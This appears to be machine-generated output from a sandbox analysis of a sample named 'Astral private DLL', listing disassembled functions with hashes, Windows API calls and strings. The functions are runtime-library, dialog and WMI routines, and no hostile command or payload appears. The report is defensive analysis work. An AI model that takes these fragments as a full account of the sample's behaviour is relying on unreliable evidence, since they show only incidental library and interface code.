Function 001851C9 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3ed4642117850e6236ee123cde4813787c93d01a7a750c61fcf1facd85f40fa
Instruction ID: 2f6a336c6267fb7c6920419274c787f69eeb04b9cbd03c86e91a0621a0631810
Opcode Fuzzy Hash: a3ed4642117850e6236ee123cde4813787c93d01a7a750c61fcf1facd85f40fa
Instruction Fuzzy Hash: 53615735A40F0997DB38BA686895BBE7397FB21380F54051AE842DF282DB51DF428F15

Function 00184F9A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction ID: d7ef316ee511b783362d187a83121cf5174c1ebbb7298bbe84d4e31a6e274366
Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction Fuzzy Hash: 36512420204F465BDF387A2C855ABBE6797DB12704F18091DF982DB282CB05EF059FA1

Function 0016EFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15d05d2df7c0c6d46d699453608de3454dcab0b885417a40fe567557d5492328
Instruction ID: a5d0a1e42560c4788ba83035de734d94b04081b0124ee49e8b784c217edc4d64
Opcode Fuzzy Hash: 15d05d2df7c0c6d46d699453608de3454dcab0b885417a40fe567557d5492328
Instruction Fuzzy Hash: 1D51E1315093D58FC702CF28D94046EBFE1AEAA314F5909ADF8D95B243C321DA5BCB62

Function 001700B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b3d3bfc9449bfd6af5ce6026510130f8c9150b45e4bfac61e1cc03e4399542e
Instruction ID: 79aa03783abebd92a2abcc163bc9aa5b7cc6ea4b3e2806b8d4dbae55267c3336
Opcode Fuzzy Hash: 7b3d3bfc9449bfd6af5ce6026510130f8c9150b45e4bfac61e1cc03e4399542e
Instruction Fuzzy Hash: 1B51DFB1A087119FC748CF19D88055AF7E1FF88314F058A2EE899E3340D734EA59CB96

Function 00173E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: a17ab51427032a1d53111d3b287a1d07639c0b54ba208d611267007cbca62421
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: 6831E7B1A147568FCB18DF28C85116EBBE0FB95304F50852DE4D9D7341CB35EA1ACB92

Function 0016E2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0016E30E

Part of subcall function 00164092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001640A5

Part of subcall function 00171DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,001A1030,00000200,0016D928,00000000,?,00000050,001A1030), ref: 00171DC4

_strlen.LIBCMT ref: 0016E32F
SetDlgItemTextW.USER32(?,0019E274,?), ref: 0016E38F
GetWindowRect.USER32(?,?), ref: 0016E3C9
GetClientRect.USER32(?,?), ref: 0016E3D5
GetWindowLongW.USER32(?,000000F0), ref: 0016E475
GetWindowRect.USER32(?,?), ref: 0016E4A2
SetWindowTextW.USER32(?,?), ref: 0016E4DB
GetSystemMetrics.USER32(00000008), ref: 0016E4E3
GetWindow.USER32(?,00000005), ref: 0016E4EE
GetWindowRect.USER32(00000000,?), ref: 0016E51B
GetWindow.USER32(00000000,00000002), ref: 0016E58D

Strings

$%s:, xrefs: 0016E302
d, xrefs: 0016E3F5
CAPTION, xrefs: 0016E4BD

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: fafd7eeb3a86d6a0c579b1807260bfa21e4df46400e32920a148c12028c16590
Instruction ID: 960510ded7cde2ff3f5e5cdc5898e4272c53445d7039ae1d7a0722c860438568
Opcode Fuzzy Hash: fafd7eeb3a86d6a0c579b1807260bfa21e4df46400e32920a148c12028c16590
Instruction Fuzzy Hash: C3818F72608301AFD710DFA8CD89E6BBBE9EB88704F08491DFA95D7290D731E9058B52

Function 0018CB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0018CB66

Part of subcall function 0018C701: _free.LIBCMT ref: 0018C71E
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C730
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C742
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C754
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C766
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C778
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C78A
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C79C
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C7AE
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C7C0
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C7D2
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C7E4
Part of subcall function 0018C701: _free.LIBCMT ref: 0018C7F6

_free.LIBCMT ref: 0018CB5B

Part of subcall function 00188DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?), ref: 00188DE2
Part of subcall function 00188DCC: GetLastError.KERNEL32(?,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?,?), ref: 00188DF4

_free.LIBCMT ref: 0018CB7D
_free.LIBCMT ref: 0018CB92
_free.LIBCMT ref: 0018CB9D
_free.LIBCMT ref: 0018CBBF
_free.LIBCMT ref: 0018CBD2
_free.LIBCMT ref: 0018CBE0
_free.LIBCMT ref: 0018CBEB
_free.LIBCMT ref: 0018CC23
_free.LIBCMT ref: 0018CC2A
_free.LIBCMT ref: 0018CC47
_free.LIBCMT ref: 0018CC5F

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: fae290566112e2659613aaaae1469b589447a2231d35676c5b0c715b4c2a3ce5
Instruction ID: 2c757a11ea8f04c4722f32116e41508cc591ac8536566ca1c829a30f884d1483
Opcode Fuzzy Hash: fae290566112e2659613aaaae1469b589447a2231d35676c5b0c715b4c2a3ce5
Instruction Fuzzy Hash: A8316D316007059FEB20BA78D846B5AB7EAEF20350F504529F148D7292DF31EE41CFA0

Function 00179711 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00179736
_wcslen.LIBCMT ref: 001797D6
GlobalAlloc.KERNEL32(00000040,?), ref: 001797E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00179806
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0017982D

Strings

<html>, xrefs: 00179755, 0017978E
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00179760
utf-8"></head>, xrefs: 0017976B
</html>, xrefs: 001797B7

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: 1dd37296436f5d1057366953b62fcc3d32e6079e1be93a7276d147906bb72ad2
Instruction ID: c4a93d37ffd7cead6c1758364e1717e9b7c2708f549334992bbb298f1a995c23
Opcode Fuzzy Hash: 1dd37296436f5d1057366953b62fcc3d32e6079e1be93a7276d147906bb72ad2
Instruction Fuzzy Hash: 453168721083017BEB25BB649C02FAF77A8EF52710F24411EF415961D2EB64DA0987A6

Function 0017D69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0017D6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 0017D6ED

Part of subcall function 00171FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0016C116,00000000,.exe,?,?,00000800,?,?,?,00178E3C), ref: 00171FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 0017D709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0017D720
GetObjectW.GDI32(00000000,00000018,?), ref: 0017D734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0017D75D
DeleteObject.GDI32(00000000), ref: 0017D764
GetWindow.USER32(00000000,00000002), ref: 0017D76D

Strings

STATIC, xrefs: 0017D6F3

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: ef79747837ca276cccdac8c2e6ba7d8b7719e7ee18aef7d92ef171a5d9157cf2
Instruction ID: be33af8d338b7dbf53dc621f61a7f1a82121130ec9aafbc3faf062050d9a8870
Opcode Fuzzy Hash: ef79747837ca276cccdac8c2e6ba7d8b7719e7ee18aef7d92ef171a5d9157cf2
Instruction Fuzzy Hash: 3A1121321803147FE6216B70AC4AFAF7A7CAF54B45F00C120FA69A2091DB64CA8542A6

Function 001896F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00189705

Part of subcall function 00188DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?), ref: 00188DE2
Part of subcall function 00188DCC: GetLastError.KERNEL32(?,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?,?), ref: 00188DF4

_free.LIBCMT ref: 00189711
_free.LIBCMT ref: 0018971C
_free.LIBCMT ref: 00189727
_free.LIBCMT ref: 00189732
_free.LIBCMT ref: 0018973D
_free.LIBCMT ref: 00189748
_free.LIBCMT ref: 00189753
_free.LIBCMT ref: 0018975E
_free.LIBCMT ref: 0018976C

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5e888fcaf9545ec553f5f594f81c4d2309ed225e326a85e7fc064b36d28862f5
Instruction ID: 7d0b9092fbeb26747e4fb4b4b8c5c3a4e9844ce84ef8bb98ccc29009cd2c8bf7
Opcode Fuzzy Hash: 5e888fcaf9545ec553f5f594f81c4d2309ed225e326a85e7fc064b36d28862f5
Instruction Fuzzy Hash: AE116076510109AFCB01FF94C982CD93BB6EF24350B9556A5FA088F262DF32EB519F84

Function 00182E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00182F50
___TypeMatch.LIBVCRUNTIME ref: 0018305E
_UnwindNestedFrames.LIBCMT ref: 001831B0
CallUnexpected.LIBVCRUNTIME ref: 001831CB
_abort.LIBCMT ref: 001831D0

Strings

csm, xrefs: 00182EDB
csm, xrefs: 00182F87
csm, xrefs: 00182E6E

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 9a4e64050e23199ce5a7c2a03c84b9a5ccacfeb8977bb9bfe4d8602f2c6fe476
Instruction ID: de91a49b4dd81fa329e6b0a1ba01f6f6dea8a2cf8058855fe3a04783a5f8d0fe
Opcode Fuzzy Hash: 9a4e64050e23199ce5a7c2a03c84b9a5ccacfeb8977bb9bfe4d8602f2c6fe476
Instruction Fuzzy Hash: 0FB14871900209EFCF2AFFA4C8859AEBBB5BF14B10B18415AF8256B212D735DB51CF91

Function 00166FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00166FAA
_wcslen.LIBCMT ref: 00167013
_wcslen.LIBCMT ref: 00167084

Part of subcall function 00167A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00167AAB
Part of subcall function 00167A9C: GetLastError.KERNEL32 ref: 00167AF1
Part of subcall function 00167A9C: CloseHandle.KERNEL32(?), ref: 00167B00

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00166FCC
\??\, xrefs: 0016702B
SeRestorePrivilege, xrefs: 00166FC2
UNC\, xrefs: 00167051

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: 5e411b21316e51e8390baa1aa6ac760052b89abcf9daa9944cceeff94a0c3033
Instruction ID: 83a05bbed2a58ca98bb997bb203ffddad59936ee55a68c6a3be6e24a1987b90f
Opcode Fuzzy Hash: 5e411b21316e51e8390baa1aa6ac760052b89abcf9daa9944cceeff94a0c3033
Instruction Fuzzy Hash: FA41E7B1D08344BAEF21E7709D42FEE776C9F25308F044456FA55A71C2D774AA948B21

Function 0017B5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00161316: GetDlgItem.USER32(00000000,00003021), ref: 0016135A
Part of subcall function 00161316: SetWindowTextW.USER32(00000000,001935F4), ref: 00161370

EndDialog.USER32(?,00000001), ref: 0017B610
SendMessageW.USER32(?,00000080,00000001,?), ref: 0017B637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0017B650
SetWindowTextW.USER32(?,?), ref: 0017B661
GetDlgItem.USER32(?,00000065), ref: 0017B66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0017B67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0017B694

Strings

LICENSEDLG, xrefs: 0017B5D4

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: aaf3417835d3534e4e5ab1feb6f2882e57daae0f74c1f8d14d1aee8bc4a2a754
Instruction ID: de06249452f46dd201495917b8c143846a7d227e6eaadd350e76e64ce9beb51a
Opcode Fuzzy Hash: aaf3417835d3534e4e5ab1feb6f2882e57daae0f74c1f8d14d1aee8bc4a2a754
Instruction Fuzzy Hash: 4C21D332208204BBD6115F65EC8AF7B3F7DEB4AB81F05C018F709A28A0CB52D9819635

Function 0017FD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,C3619272,00000001,00000000,00000000,?,?,0016AF6C,ROOT\CIMV2), ref: 0017FD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,0016AF6C,ROOT\CIMV2), ref: 0017FE14
SysAllocString.OLEAUT32(00000000), ref: 0017FE1F
_com_issue_error.COMSUPP ref: 0017FE48
_com_issue_error.COMSUPP ref: 0017FE52
GetLastError.KERNEL32(80070057,C3619272,00000001,00000000,00000000,?,?,0016AF6C,ROOT\CIMV2), ref: 0017FE57
_com_issue_error.COMSUPP ref: 0017FE6A
GetLastError.KERNEL32(00000000,?,?,0016AF6C,ROOT\CIMV2), ref: 0017FE80
_com_issue_error.COMSUPP ref: 0017FE93

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 85c5d51018fd6755728b0f915612fc76156e44b9ead174e70d2b219098868c19
Instruction ID: 45281ca2f92cf49992be0861d858e8682a3979f6a37f36e676a48b74d5a32af2
Opcode Fuzzy Hash: 85c5d51018fd6755728b0f915612fc76156e44b9ead174e70d2b219098868c19
Instruction Fuzzy Hash: 2B41CA71A00215ABDB109FA4CC45BAFBBB8EB44710F15823EF919E7251DB349941CBA5

Function 0016AF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0016AF29

Strings

Windows 10, xrefs: 0016B0C2
Name, xrefs: 0016B0B0
WQL, xrefs: 0016AFDC
SELECT * FROM Win32_OperatingSystem, xrefs: 0016AFCA
ROOT\CIMV2, xrefs: 0016AF5C

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 7fb7b6d894f7fe553319830e0278cf5e0afdd2163e3703540f5448dd43cc58d1
Instruction ID: da70e90608bbf0f2937dfd862c4729ecff11cb9a311a4366ca25c4d458264089
Opcode Fuzzy Hash: 7fb7b6d894f7fe553319830e0278cf5e0afdd2163e3703540f5448dd43cc58d1
Instruction Fuzzy Hash: E1713A71A00219AFDF14DFA8CC959AEBBB9FF48710B140159F516E72A0CB30AE81CB60

